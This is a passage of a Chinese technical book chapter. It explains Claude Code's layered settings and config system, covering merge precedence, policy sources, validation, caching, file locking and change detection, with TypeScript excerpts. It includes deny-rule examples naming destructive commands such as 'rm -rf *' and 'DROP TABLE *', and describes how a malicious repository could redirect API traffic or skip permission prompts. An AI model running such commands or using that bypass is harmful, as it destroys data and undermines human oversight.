第十五章:设置与配置系统(Settings & Configuration)
多层级、多来源的配置体系——从全局默认到项目覆盖到企业管控。
核心问题
一个 CLI 工具的配置看似简单——读一个 JSON 文件,合并默认值,完事。但 Claude Code 面临的配置问题远比这复杂:
它服务于截然不同的用户群体。 个人开发者需要灵活的自定义;团队需要共享的项目配置;企业 IT 需要强制的安全策略。这三类需求经常冲突——个人想用某个 MCP 服务器,但企业策略禁止了它。
配置来源极其分散。 用户主目录的全局设置、项目目录的共享设置、本地 gitignored 的私有设置、CLI 命令行参数、SDK 内联设置、macOS plist、Windows 注册表、Linux 配置文件、远程 API 下发的企业策略……这些来源需要按照明确的优先级合并成一份最终配置。
配置涉及安全边界。 项目目录下的
.claude/settings.json可以被恶意仓库注入。如果不加区分地应用其中的环境变量(比如ANTHROPIC_BASE_URL指向攻击者服务器),就构成了远程代码执行(RCE)漏洞。配置需要实时响应变更。 用户在另一个编辑器中修改了
settings.json,当前运行的 Claude Code 会话应该立即感知并应用变更,而不是要求重启。
核心矛盾:灵活性 vs 安全性 vs 实时性。
Claude Code 的解法是一个双轨制配置架构——Settings(用户行为配置)和 Config(内部应用状态)分离,配合多层级合并、信任边界划分、文件监听与轮询的混合变更检测机制。
15.1 架构总览
┌─────────────────────────────────────────────┐
│ 最终生效配置 (Effective) │
│ getInitialSettings() / getGlobalConfig() │
└──────────────────┬──────────────────────────┘
│ 合并
┌──────────────────────┼──────────────────────┐
│ │ │
┌─────────▼──────────┐ ┌───────▼────────┐ ┌─────────▼──────────┐
│ Settings 系统 │ │ Config 系统 │ │ Feature Flags │
│ (用户行为配置) │ │ (内部应用状态) │ │ (动态特性开关) │
└─────────┬──────────┘ └───────┬────────┘ └─────────┬──────────┘
│ │ │
┌──────────────┼──────────────┐ │ ┌─────────┼─────────┐
│ │ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼ ▼
┌────────┐ ┌──────────┐ ┌─────────┐ ┌──────┐ ┌────────┐ ┌───────┐ ┌──────┐
│ Policy │ │ Flag │ │ Local │ │~/.claude│ │编译期 │ │运行时 │ │磁盘 │
│Settings│ │ Settings │ │Settings │ │/claude │ │feature()│ │Growth │ │缓存 │
│ │ │ │ │ │ │.json │ │ │ │Book │ │ │
│ 优先级 │ │ 优先级 │ │ 优先级 │ │ │ │ │ │ │ │ │
│ 最高 │ │ 次高 │ │ 中 │ │ │ │ │ │ │ │ │
└───┬────┘ └────┬─────┘ └────┬────┘ └───┬───┘ └────────┘ └───────┘ └──────┘
│ │ │ │
│ ┌─────────┘ │ │
│ │ ┌─────────────────────┘ │
│ │ │ ┌──────────────────────────────┘
│ │ │ │
▼ ▼ ▼ ▼
┌──────────────────────────────────────────────────────────────────┐
│ Settings 来源优先级(低→高) │
│ │
│ Plugin → User → Project → Local → Flag → Policy │
│ Settings Settings Settings Settings Settings Settings │
│ │
│ ~/.claude/ .claude/ .claude/ --settings Remote/MDM/ │
│ settings settings settings CLI flag managed- │
│ .json .json .local.json settings.json │
└──────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────┐
│ Policy 内部优先级(高→低) │
│ "First Source Wins" 策略 │
│ │
│ Remote API → MDM(HKLM/plist) → managed-settings.json → HKCU │
│ (远程下发) (管理员写入) (文件系统) (用户写入) │
└──────────────────────────────────────────────────────────────────┘这个架构有两个关键设计决策值得提前说明:
为什么 Settings 和 Config 要分离?
Settings(settings.json)管理的是用户可见的行为配置——模型选择、权限规则、Hooks、MCP 服务器、沙箱策略等。它有多个来源、多层优先级、企业管控需求。
Config(~/.claude/claude.json)管理的是内部应用状态——主题偏好、启动次数、onboarding 状态、GrowthBook 缓存、项目信任状态、各种 UI 追踪计数器等。它只有一个文件、一个来源,不需要多层合并。
如果把两者混在一起,会导致:
- 企业策略需要覆盖用户的主题偏好?不合理。
- 项目设置需要覆盖用户的启动次数?荒谬。
- 每次读取 onboarding 状态都要走多层合并逻辑?浪费。
分离让每个系统只承担自己该承担的复杂度。
为什么 Policy Settings 用 "First Source Wins" 而不是合并?
Policy Settings 有四个子来源(Remote API、MDM、managed-settings.json、HKCU)。直觉上应该像其他层级一样合并它们。但 Claude Code 选择了"第一个有内容的来源胜出,其余忽略"。
原因是:这四个来源代表的是同一个管理意图的不同传递通道,而不是不同层级的配置叠加。企业 IT 要么通过 Remote API 下发策略,要么通过 MDM 推送,要么通过文件系统部署——不会同时用多个通道传递不同的策略片段。如果合并,反而会产生意外的策略组合。
15.2 Settings 系统:多层合并的核心机制
面临的问题
一个开发者可能同时受到以下配置的影响:
- 自己在
~/.claude/settings.json中设置了model: "opus" - 团队在
.claude/settings.json中设置了permissions.deny: ["Bash(rm -rf *)"] - 自己在
.claude/settings.local.json中覆盖了model: "sonnet"用于本地调试 - 企业 IT 通过远程 API 下发了
allowedMcpServers: [...]白名单
这些配置需要按照明确的规则合并成一份最终生效的配置。合并规则必须满足:
- 后来者覆盖先来者(高优先级覆盖低优先级)
- 数组要拼接而非替换(团队的 deny 规则和用户的 deny 规则应该叠加)
- 企业策略不可被用户覆盖(Policy 优先级最高)
- 无效配置不应拖垮整个系统(一个字段的验证失败不应导致所有配置失效)
Settings 来源定义
// utils/settings/constants.ts
export const SETTING_SOURCES = [
'userSettings', // ~/.claude/settings.json — 用户全局
'projectSettings', // .claude/settings.json — 项目共享(可提交到 git)
'localSettings', // .claude/settings.local.json — 本地私有(gitignored)
'flagSettings', // --settings CLI 参数 或 SDK 内联设置
'policySettings', // 企业管控(Remote API / MDM / managed-settings.json / HKCU)
] as const数组的顺序就是合并的优先级顺序——后面的覆盖前面的。但实际上还有一个隐含的最低优先级来源:Plugin Settings,它作为 base layer 在所有文件来源之前被合并。
完整的优先级链:
Plugin Settings (最低)
↓ 被覆盖
User Settings (~/.claude/settings.json)
↓ 被覆盖
Project Settings (.claude/settings.json)
↓ 被覆盖
Local Settings (.claude/settings.local.json)
↓ 被覆盖
Flag Settings (--settings CLI / SDK inline)
↓ 被覆盖
Policy Settings (Remote / MDM / file / HKCU) (最高)合并算法:loadSettingsFromDisk()
这是整个 Settings 系统的核心函数,位于 utils/settings/settings.ts:645。它的逻辑可以用伪代码表示:
function loadSettingsFromDisk(): SettingsWithErrors {
let merged = {}
const allErrors = []
// 1. Plugin settings 作为 base layer
if (pluginSettingsBase) {
merged = mergeWith(merged, pluginSettingsBase, settingsMergeCustomizer)
}
// 2. 按优先级顺序合并每个来源
for (const source of getEnabledSettingSources()) {
if (source === 'policySettings') {
// 特殊处理:First Source Wins
const policy = getFirstAvailablePolicySource()
if (policy) {
merged = mergeWith(merged, policy, settingsMergeCustomizer)
}
continue
}
const { settings, errors } = parseSettingsFile(getPath(source))
allErrors.push(...errors) // 收集但不阻断
if (settings) {
merged = mergeWith(merged, settings, settingsMergeCustomizer)
}
}
return { settings: merged, errors: allErrors }
}合并定制器:数组拼接 vs 值覆盖
lodash.mergeWith 的默认行为是深度合并对象、后值覆盖前值。但 Claude Code 需要对数组做特殊处理:
// utils/settings/settings.ts:538
export function settingsMergeCustomizer(
objValue: unknown,
srcValue: unknown,
): unknown {
if (Array.isArray(objValue) && Array.isArray(srcValue)) {
return mergeArrays(objValue, srcValue) // 拼接 + 去重
}
return undefined // 其他类型走 lodash 默认行为
}
function mergeArrays<T>(targetArray: T[], sourceArray: T[]): T[] {
return uniq([...targetArray, ...sourceArray])
}为什么数组要拼接而不是替换?
考虑权限规则的场景:
- 用户设置了
permissions.deny: ["Bash(rm -rf *)"] - 项目设置了
permissions.deny: ["Bash(DROP TABLE *)"]
如果用替换语义,项目设置会覆盖用户设置,用户的 rm -rf 防护就丢失了。拼接语义确保两条规则都生效。
但这也带来了一个问题:如何删除一个数组元素? 如果用户想移除项目设置中的某条规则,拼接语义下无法做到。Claude Code 的解法是:对于需要精确控制的场景(如 updateSettingsForSource),使用替换语义而非拼接:
// updateSettingsForSource 中的合并定制器
(objValue, srcValue, key, object) => {
if (srcValue === undefined && object && typeof key === 'string') {
delete object[key] // undefined 表示删除
return undefined
}
if (Array.isArray(srcValue)) {
return srcValue // 数组直接替换,不拼接
}
return undefined
}这是一个微妙但重要的区分:读取时拼接(多来源叠加),写入时替换(精确控制单个来源)。
Policy Settings 的 "First Source Wins" 实现
// utils/settings/settings.ts:319-345
function getSettingsForSourceUncached(source: SettingSource): SettingsJson | null {
if (source === 'policySettings') {
// 1. Remote API(最高优先级)
const remoteSettings = getRemoteManagedSettingsSyncFromCache()
if (remoteSettings && Object.keys(remoteSettings).length > 0) {
return remoteSettings
}
// 2. MDM (HKLM / macOS plist) — 管理员写入
const mdmResult = getMdmSettings()
if (Object.keys(mdmResult.settings).length > 0) {
return mdmResult.settings
}
// 3. managed-settings.json + managed-settings.d/*.json — 文件系统
const { settings: fileSettings } = loadManagedFileSettings()
if (fileSettings) {
return fileSettings
}
// 4. HKCU(最低优先级)— 用户可写
const hkcu = getHkcuSettings()
if (Object.keys(hkcu.settings).length > 0) {
return hkcu.settings
}
return null // 没有任何 policy 来源
}
// ... 其他来源的处理
}注意第 3 层 loadManagedFileSettings() 本身也有内部合并逻辑——它支持 managed-settings.d/ 目录下的 drop-in 文件:
// utils/settings/settings.ts:74-121
export function loadManagedFileSettings() {
let merged = {}
// 先加载 managed-settings.json 作为 base
const { settings } = parseSettingsFile(getManagedSettingsFilePath())
if (settings) merged = mergeWith(merged, settings, settingsMergeCustomizer)
// 再按字母序加载 managed-settings.d/*.json(后者覆盖前者)
const entries = readdirSync(dropInDir)
.filter(d => d.name.endsWith('.json') && !d.name.startsWith('.'))
.sort()
for (const name of entries) {
const { settings } = parseSettingsFile(join(dropInDir, name))
if (settings) merged = mergeWith(merged, settings, settingsMergeCustomizer)
}
return { settings: found ? merged : null, errors }
}这个 drop-in 目录设计借鉴了 systemd/sudoers 的惯例:不同团队可以独立部署策略片段(如 10-otel.json、20-security.json),无需协调编辑同一个文件。
设计决策讨论
为什么 getEnabledSettingSources() 允许禁用某些来源?
// utils/settings/constants.ts:159-167
export function getEnabledSettingSources(): SettingSource[] {
const allowed = getAllowedSettingSources()
const result = new Set<SettingSource>(allowed)
result.add('policySettings') // 永远启用
result.add('flagSettings') // 永远启用
return Array.from(result)
}SDK 使用场景下,调用方可能通过 settingSources: [] 进入"隔离模式"——不加载任何用户/项目设置,只使用 SDK 内联传入的配置。但 Policy 和 Flag 永远不能被禁用——企业策略必须始终生效,CLI 参数必须始终被尊重。
为什么 projectSettings 被排除在权限规则来源之外?
// utils/settings/settings.ts:882-889
export function hasSkipDangerousModePermissionPrompt(): boolean {
return !!(
getSettingsForSource('userSettings')?.skipDangerousModePermissionPrompt ||
getSettingsForSource('localSettings')?.skipDangerousModePermissionPrompt ||
getSettingsForSource('flagSettings')?.skipDangerousModePermissionPrompt ||
getSettingsForSource('policySettings')?.skipDangerousModePermissionPrompt
)
// 注意:没有 projectSettings!
}projectSettings(.claude/settings.json)是可以被提交到 git 仓库的。如果允许它设置 skipDangerousModePermissionPrompt: true,恶意仓库就可以自动跳过权限确认对话框——这是一个 RCE 向量。同样的逻辑也适用于 hasAutoModeOptIn()、getAutoModeConfig() 等安全敏感的配置读取。
这是一个安全边界设计:项目设置可以影响行为(如添加 deny 规则),但不能影响安全控制(如跳过权限确认)。
15.3 Settings Schema 与验证
面临的问题
Settings 文件由用户手动编辑,不可避免地会出现拼写错误、类型错误、无效值。系统需要:
- 在加载时验证每个字段
- 对无效字段给出清晰的错误提示
- 不因为一个字段的错误而丢弃整个文件
- 保留未知字段(向前兼容)
Zod Schema 定义
Settings 的 schema 定义在 utils/settings/types.ts,使用 Zod v4 构建:
// utils/settings/types.ts(简化)
export const SettingsSchema = lazySchema(() =>
z.object({
// 模型配置
model: z.string().optional(),
availableModels: z.array(z.string()).optional(),
modelOverrides: z.record(z.string(), z.string()).optional(),
// 环境变量
env: EnvironmentVariablesSchema().optional(),
// 权限
permissions: PermissionsSchema().optional(),
// Hooks
hooks: HooksSchema().optional(),
// 沙箱
sandbox: SandboxSettingsSchema().optional(),
// MCP 服务器管控
allowedMcpServers: z.array(AllowedMcpServerEntrySchema()).optional(),
deniedMcpServers: z.array(DeniedMcpServerEntrySchema()).optional(),
// 企业管控
allowManagedHooksOnly: z.boolean().optional(),
allowManagedPermissionRulesOnly: z.boolean().optional(),
strictPluginOnlyCustomization: z.boolean().optional(),
// 用户偏好
theme: z.string().optional(),
language: z.string().optional(),
outputStyle: z.string().optional(),
// ... 更多字段
}).passthrough() // 保留未知字段
)两个关键设计选择:
1. lazySchema() 延迟求值
Schema 定义使用了 lazySchema() 包装,这意味着 Zod schema 对象不在模块求值时创建,而是在第一次调用 SettingsSchema() 时才创建。这避免了模块加载阶段的 CPU 开销——Zod schema 的构建涉及大量对象分配和方法绑定。
2. .passthrough() 保留未知字段
如果用户的 settings.json 中有 schema 未定义的字段(可能是新版本引入的、或者用户自定义的),.passthrough() 确保这些字段不会被丢弃。这对向前兼容至关重要——用户升级 Claude Code 后,旧版本不认识的新字段不应该在旧版本运行时被静默删除。
验证流程:容错优先
// utils/settings/settings.ts:201-231
function parseSettingsFileUncached(path: string) {
const content = readFileSync(resolvedPath)
const data = safeParseJSON(content, false)
// 第一步:过滤无效的权限规则(不让一条坏规则毒化整个文件)
const ruleWarnings = filterInvalidPermissionRules(data, path)
// 第二步:Zod schema 验证
const result = SettingsSchema().safeParse(data)
if (!result.success) {
// 验证失败:返回 null settings + 错误列表
// 但注意:这只影响这一个来源,其他来源的设置仍然正常合并
return { settings: null, errors: [...ruleWarnings, ...formatZodError(...)] }
}
// 验证成功:返回 settings + 可能的 rule warnings
return { settings: result.data, errors: ruleWarnings }
}filterInvalidPermissionRules() 是一个精心设计的容错机制。权限规则的格式比较复杂(如 "Bash(npm test)"),用户很容易写错。如果一条坏规则导致整个 permissions 字段验证失败,进而导致整个文件被拒绝,用户体验会很差。所以在 Zod 验证之前,先把无效规则过滤掉,只生成 warning 而不是 error。
ValidationError 的结构化设计
export type ValidationError = {
file?: string // 相对文件路径
path: string // 点分路径(如 "permissions.defaultMode")
message: string // 人类可读的错误信息
expected?: string // 期望的值/类型
invalidValue?: unknown // 实际的无效值
suggestion?: string // 修复建议
docLink?: string // 文档链接
mcpErrorMetadata?: { // MCP 特定的元数据
scope: ConfigScope
serverName?: string
severity?: 'fatal' | 'warning'
}
}这个结构不仅用于日志输出,还被 /doctor 命令和 /status 命令用来向用户展示配置问题。suggestion 和 docLink 字段让错误信息具有可操作性——不只是告诉用户"错了",还告诉用户"怎么改"。
15.4 Config 系统:内部应用状态
面临的问题
除了用户行为配置(Settings),Claude Code 还需要持久化大量内部应用状态:
- UI 偏好(主题、编辑器模式、diff 工具)
- 会话追踪(启动次数、onboarding 状态、首次启动时间)
- 项目级状态(信任对话框是否已接受、MCP 服务器审批状态)
- 缓存数据(GrowthBook feature flags、Statsig gates、模型访问权限)
- 各种 UI 提示的展示计数(避免重复打扰用户)
这些状态有一个共同特点:它们不需要多层合并,不需要企业管控,不需要项目级覆盖。它们只属于当前用户、当前机器。
存储位置与结构
Config 存储在 ~/.claude/claude.json(通过 getGlobalClaudeFile() 获取路径)。它的类型定义在 utils/config.ts 中,是一个扁平的 GlobalConfig 类型,包含 100+ 个字段。
// utils/config.ts(简化)
export type GlobalConfig = {
// UI 偏好
theme: ThemeSetting
editorMode?: EditorMode
verbose: boolean
diffTool?: DiffTool
// 会话追踪
numStartups: number
hasCompletedOnboarding?: boolean
firstStartTime?: string
// 项目级状态(按路径索引)
projects?: Record<string, ProjectConfig>
// Feature flag 缓存
cachedGrowthBookFeatures?: Record<string, unknown>
cachedStatsigGates: Record<string, boolean>
// OAuth 账户信息
oauthAccount?: AccountInfo
// ... 100+ 其他字段
}ProjectConfig 是嵌套在 projects 字段下的子结构,按项目路径索引:
export type ProjectConfig = {
allowedTools: string[]
hasTrustDialogAccepted?: boolean
hasCompletedProjectOnboarding?: boolean
mcpServers?: Record<string, McpServerConfig>
// ... 项目级的各种状态
}读取:三级缓存策略
getGlobalConfig() 是读取 Config 的唯一入口。它的设计目标是:启动后的每次读取都是纯内存操作。
// utils/config.ts:1044-1086
export function getGlobalConfig(): GlobalConfig {
// 快速路径:纯内存读取。启动后总是命中——
// 自己的写入走 write-through,其他实例的写入由后台 freshness watcher 拾取
if (globalConfigCache.config) {
configCacheHits++
return globalConfigCache.config
}
// 慢路径:启动时加载。同步 I/O 可接受,因为只执行一次
configCacheMisses++
const config = migrateConfigFields(
getConfig(getGlobalClaudeFile(), createDefaultGlobalConfig),
)
globalConfigCache = { config, mtime: stats?.mtimeMs ?? Date.now() }
startGlobalConfigFreshnessWatcher() // 启动后台文件监听
return config
}三级缓存的工作方式:
┌─────────────────────────────────────────────────────────┐
│ Level 1: 内存缓存 (globalConfigCache) │
│ ───────────────────────────────────── │
│ • 启动后所有读取都命中这一层 │
│ • 自己的写入通过 write-through 立即更新 │
│ • 其他进程的写入由 Level 2 检测并更新 │
│ • 命中率接近 100% │
└──────────────────────┬──────────────────────────────────┘
│ cache miss(仅启动时)
▼
┌─────────────────────────────────────────────────────────┐
│ Level 2: 文件监听 (fs.watchFile) │
│ ───────────────────────────────────── │
│ • 每秒轮询文件 stat(persistent: false,不阻止进程退出) │
│ • 检测到 mtime 变化时异步读取文件并更新 Level 1 │
│ • 自己的写入不会触发重读(write-through 的 mtime 超前) │
└──────────────────────┬──────────────────────────────────┘
│ 文件不存在或首次读取
▼
┌─────────────────────────────────────────────────────────┐
│ Level 3: 磁盘读取 (readFileSync) │
│ ───────────────────────────────────── │
│ • 同步读取 + JSON 解析 + 字段迁移 │
│ • 仅在启动时执行一次 │
│ • 文件不存在时返回默认值 │
│ • 文件损坏时备份损坏文件并返回默认值 │
└─────────────────────────────────────────────────────────┘为什么用 fs.watchFile(轮询)而不是 fs.watch(inotify/FSEvents)?
fs.watchFile 基于 stat 轮询,fs.watch 基于操作系统的文件系统事件。后者更高效,但有一个问题:在某些文件系统(NFS、CIFS)和某些操作系统上,fs.watch 不可靠。对于一个每秒最多读一次的配置文件,轮询的开销可以忽略不计,但可靠性更重要。
写入:锁 + Auth-Loss Guard + 备份
saveGlobalConfig() 的写入流程比读取复杂得多,因为它要处理多进程并发写入的问题——用户可能同时运行多个 Claude Code 实例。
// utils/config.ts:797-866(简化)
export function saveGlobalConfig(
updater: (currentConfig: GlobalConfig) => GlobalConfig,
): void {
try {
const didWrite = saveConfigWithLock(
getGlobalClaudeFile(),
createDefaultGlobalConfig,
current => {
const config = updater(current)
if (config === current) return current // 无变更,跳过写入
return { ...config, projects: removeProjectHistory(current.projects) }
},
)
if (didWrite) {
writeThroughGlobalConfigCache(written) // 立即更新内存缓存
}
} catch (error) {
// 锁获取失败时的降级路径
const currentConfig = getConfig(...)
if (wouldLoseAuthState(currentConfig)) {
// Auth-Loss Guard:拒绝写入
logEvent('tengu_config_auth_loss_prevented', {})
return
}
// 无锁写入(有竞态窗口,但比丢失数据好)
saveConfig(getGlobalClaudeFile(), written, DEFAULT_GLOBAL_CONFIG)
}
}saveConfigWithLock() 的完整流程:
saveConfigWithLock()
│
├─ 1. 获取文件锁(lockfile.lockSync)
│ └─ 超时 > 100ms 时记录遥测(可能有另一个实例在写)
│
├─ 2. Stale Write 检测
│ └─ 比较文件的 mtime/size 与上次读取时的快照
│ 如果不一致,说明有其他进程在我们读取后修改了文件
│
├─ 3. 重新读取当前配置(在锁保护下)
│ └─ 确保基于最新状态做合并
│
├─ 4. Auth-Loss Guard
│ └─ 如果重读的配置缺少 oauthAccount 或 hasCompletedOnboarding
│ 但内存缓存中有,说明文件被损坏了——拒绝写入
│
├─ 5. 应用 updater 函数
│ └─ 如果返回相同引用(=== current),跳过写入
│
├─ 6. 创建时间戳备份
│ └─ ~/.claude/backups/claude.json.backup.{timestamp}
│ 保留最近 5 个备份,60 秒内不重复创建
│
├─ 7. 写入文件(mode: 0o600,仅所有者可读写)
│ └─ 过滤掉与默认值相同的字段(减小文件体积)
│
└─ 8. 释放文件锁Auth-Loss Guard:一个真实的生产事故驱动的防护
// utils/config.ts:783-795
function wouldLoseAuthState(fresh: {
oauthAccount?: unknown
hasCompletedOnboarding?: boolean
}): boolean {
const cached = globalConfigCache.config
if (!cached) return false
const lostOauth =
cached.oauthAccount !== undefined && fresh.oauthAccount === undefined
const lostOnboarding =
cached.hasCompletedOnboarding === true &&
fresh.hasCompletedOnboarding !== true
return lostOauth || lostOnboarding
}这个防护的背景是 GitHub Issue #3117:当两个 Claude Code 实例同时写入 ~/.claude/claude.json 时,如果一个实例在另一个实例写入的中途读取了文件(文件被截断或部分写入),JSON.parse 会失败,getConfig 返回默认值。如果此时把默认值写回文件,用户的 OAuth token 和 onboarding 状态就被永久擦除了。
Auth-Loss Guard 的逻辑是:如果从文件读取的配置缺少认证信息,但内存缓存中有,说明文件可能被损坏了——拒绝写入,保护内存中的好数据。
这是一个典型的防御性编程案例:不信任文件系统的一致性,用内存状态作为 ground truth 来检测异常。
15.5 Settings 缓存与变更检测
面临的问题
Settings 系统的读取路径比 Config 复杂得多——每次读取需要从 5+ 个文件来源加载、验证、合并。如果每次调用 getInitialSettings() 都走完整流程,性能不可接受。但如果缓存了,又面临缓存一致性问题:
- 用户在编辑器中修改了
settings.json,当前会话应该立即感知 - Claude Code 自己写入了
settings.json(如/config命令),不应触发"外部变更"通知 - MDM 设置通过注册表/plist 推送,无法用文件系统事件监听
- 远程管控设置通过 API 下发,需要定期轮询
- 多个监听者订阅变更时,不应导致 N 次重复的磁盘读取
三级 Settings 缓存
Settings 缓存定义在 utils/settings/settingsCache.ts,分为三级:
// utils/settings/settingsCache.ts
// Level 1: 会话级合并缓存 — 最终合并结果
let sessionSettingsCache: SettingsWithErrors | null = null
// Level 2: 单来源缓存 — 每个 source 的独立设置
const perSourceCache = new Map<SettingSource, SettingsJson | null>()
// Level 3: 文件解析缓存 — 每个文件路径的解析结果
const parseFileCache = new Map<string, ParsedSettings>()
// 全部清除
export function resetSettingsCache(): void {
sessionSettingsCache = null
perSourceCache.clear()
parseFileCache.clear()
}三级缓存的设计意图:
getInitialSettings()
│
├─ 命中 Level 1 (sessionSettingsCache)?
│ └─ YES → 直接返回(零开销)
│
├─ 未命中 → loadSettingsFromDisk()
│ │
│ ├─ 对每个 source 调用 getSettingsForSource()
│ │ │
│ │ ├─ 命中 Level 2 (perSourceCache)?
│ │ │ └─ YES → 返回缓存的单来源设置
│ │ │
│ │ └─ 未命中 → parseSettingsFile(path)
│ │ │
│ │ ├─ 命中 Level 3 (parseFileCache)?
│ │ │ └─ YES → 返回缓存的解析结果(clone 后返回)
│ │ │
│ │ └─ 未命中 → 真正的磁盘读取 + Zod 验证
│ │
│ └─ 合并所有来源 → 写入 Level 1
│
└─ 返回合并结果为什么需要 Level 3(文件解析缓存)?
因为 getSettingsForSource() 和 loadSettingsFromDisk() 都会调用 parseSettingsFile() 解析同一个文件。在启动阶段,这两个函数可能在同一个事件循环 tick 内被调用,Level 3 避免了对同一文件的重复磁盘读取和 Zod 验证。
为什么 Level 3 返回时要 clone?
// utils/settings/settings.ts:182-198
export function parseSettingsFile(path: string) {
const cached = getCachedParsedFile(path)
if (cached) {
// Clone so callers (e.g. mergeWith in getSettingsForSourceUncached,
// updateSettingsForSource) can't mutate the cached entry.
return {
settings: cached.settings ? clone(cached.settings) : null,
errors: cached.errors,
}
}
// ...
}lodash.mergeWith 会原地修改目标对象。如果直接返回缓存引用,mergeWith 会污染缓存,导致后续读取拿到被修改过的数据。clone 的代价远小于重新从磁盘读取。
变更检测:文件监听 + MDM 轮询的混合方案
变更检测器定义在 utils/settings/changeDetector.ts,它需要监听所有可能的配置变更来源:
┌─────────────────────────────────────────────────────────────┐
│ changeDetector │
│ │
│ ┌──────────────────────┐ ┌─────────────────────────────┐ │
│ │ chokidar 文件监听 │ │ MDM 轮询(30 分钟) │ │
│ │ │ │ │ │
│ │ • settings.json │ │ • macOS plist │ │
│ │ • settings.local │ │ • Windows HKLM/HKCU │ │
│ │ • managed-settings │ │ • 快照比较检测变更 │ │
│ │ • managed-settings │ │ │ │
│ │ .d/*.json │ │ │ │
│ └──────────┬───────────┘ └──────────────┬──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ fanOut(source) │ │
│ │ 1. resetSettingsCache() — 清除所有三级缓存 │ │
│ │ 2. settingsChanged.emit(source) — 通知所有订阅者 │ │
│ └──────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ 订阅者 │ │
│ │ • applySettingsChange — 更新会话状态 │ │
│ │ • useSettingsChange — React Hook 触发重渲染 │ │
│ │ • Remote settings — 触发热重载 │ │
│ └──────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘chokidar 文件监听的精细配置
// utils/settings/changeDetector.ts:103-141
watcher = chokidar.watch(dirs, {
persistent: true,
ignoreInitial: true,
depth: 0, // 只监听直接子文件,不递归
awaitWriteFinish: {
stabilityThreshold: 1000, // 等待写入稳定 1 秒
pollInterval: 500, // 每 500ms 检查一次
},
ignored: (path, stats) => {
// 忽略特殊文件(socket、FIFO、设备文件)
if (stats && !stats.isFile() && !stats.isDirectory()) return true
// 忽略 .git 目录
if (path.split(sep).some(dir => dir === '.git')) return true
// 只监听已知的 settings 文件
if (settingsFiles.has(normalized)) return false
// 也接受 managed-settings.d/ 下的 .json 文件
if (dropInDir && normalized.startsWith(dropInDir + sep) && normalized.endsWith('.json')) {
return false
}
return true // 忽略其他所有文件
},
usePolling: false, // 使用原生文件系统事件
atomic: true, // 更好地处理原子写入
})几个关键的时间常量:
| 常量 | 值 | 用途 |
|---|---|---|
FILE_STABILITY_THRESHOLD_MS | 1000ms | 等待文件写入稳定(避免处理部分写入) |
FILE_STABILITY_POLL_INTERVAL_MS | 500ms | 稳定性检查的轮询间隔 |
INTERNAL_WRITE_WINDOW_MS | 5000ms | 内部写入的识别窗口 |
MDM_POLL_INTERVAL_MS | 30 分钟 | MDM 注册表/plist 轮询间隔 |
DELETION_GRACE_MS | 1700ms | 删除事件的宽限期(处理 delete-and-recreate 模式) |
内部写入抑制:避免自己触发自己
当 Claude Code 自己修改了 settings.json(如用户执行 /config 命令),chokidar 会检测到文件变更并触发通知。但这个通知是多余的——我们已经在写入时更新了缓存。更糟的是,如果通知触发了重新加载,可能会覆盖刚刚写入的状态。
解法是 internalWrites.ts 模块——一个极简的时间戳追踪器:
// utils/settings/internalWrites.ts
const timestamps = new Map<string, number>()
export function markInternalWrite(path: string): void {
timestamps.set(path, Date.now())
}
export function consumeInternalWrite(path: string, windowMs: number): boolean {
const ts = timestamps.get(path)
if (ts !== undefined && Date.now() - ts < windowMs) {
timestamps.delete(path) // 消费后删除,不影响下一次外部变更
return true
}
return false
}写入流程:
updateSettingsForSource()调用markInternalWrite(filePath)记录时间戳- 写入文件
- chokidar 检测到变更,调用
handleChange(path) handleChange调用consumeInternalWrite(path, 5000)- 时间戳在 5 秒窗口内 → 返回 true → 跳过通知
为什么 consumeInternalWrite 要"消费"(删除)时间戳?
因为 chokidar 对每次写入只触发一次事件。如果不删除时间戳,下一次真正的外部变更也会被误判为内部写入而被忽略。"消费"语义确保了一次 mark 只抑制一次通知。
这个模块被特意从 changeDetector.ts 中提取出来,原因是打破循环依赖:
settings.ts → changeDetector.ts → hooks.ts → … → settings.tssettings.ts 需要在写入前调用 markInternalWrite(),但如果直接导入 changeDetector.ts,就会形成循环。提取出 internalWrites.ts 作为一个无依赖的叶子模块,两边都可以安全导入。
删除事件的宽限期:处理 delete-and-recreate 模式
// utils/settings/changeDetector.ts:330-360
function handleDelete(path: string): void {
const source = getSourceForPath(path)
if (!source) return
// 如果已有 pending 删除,让它继续
if (pendingDeletions.has(path)) return
const timer = setTimeout((p, src) => {
pendingDeletions.delete(p)
// 执行 ConfigChange hook,如果未被阻止则 fanOut
void executeConfigChangeHooks(...).then(results => {
if (hasBlockingResult(results)) return
fanOut(src)
})
}, DELETION_GRACE_MS, path, source) // 1700ms 宽限期
pendingDeletions.set(path, timer)
}为什么需要宽限期?
很多编辑器(如 VS Code)保存文件时使用 "delete-and-recreate" 模式——先删除旧文件,再创建新文件。如果立即处理删除事件,会导致短暂的"设置丢失"状态。1700ms 的宽限期足以覆盖 chokidar 的写入稳定性检查(1000ms + 500ms),确保在文件被重新创建后取消删除通知,改为处理变更通知。
fanOut 的单生产者模式:避免 N 次重复读取
// utils/settings/changeDetector.ts:437-440
function fanOut(source: SettingSource): void {
resetSettingsCache() // 先清缓存
settingsChanged.emit(source) // 再通知订阅者
}这个看似简单的两行代码解决了一个性能问题。源码注释详细解释了原因:
The cache reset MUST happen here (single producer), not in each listener (N consumers). Previously, listeners like useSettingsChange and applySettingsChange reset defensively because some notification paths did not reset before iterating listeners. That defense caused N-way thrashing when N listeners were subscribed: each listener cleared the cache, re-read from disk (populating it), then the next listener cleared it again — N full disk reloads per notification.
如果每个订阅者自己清缓存:
- 订阅者 A 清缓存 → 从磁盘读取 → 填充缓存
- 订阅者 B 清缓存 → 从磁盘读取 → 填充缓存
- 订阅者 C 清缓存 → 从磁盘读取 → 填充缓存 → 3 次磁盘读取
如果由 fanOut 统一清缓存:
- fanOut 清缓存
- 订阅者 A 读取 → cache miss → 从磁盘读取 → 填充缓存
- 订阅者 B 读取 → cache hit → 直接返回
- 订阅者 C 读取 → cache hit → 直接返回 → 1 次磁盘读取
Profile 数据显示,在远程管控设置启动时解析的场景下,旧方案导致了 12ms 内 5 次 loadSettingsFromDisk 调用。
15.6 环境变量的两阶段应用:信任边界的体现
面临的问题
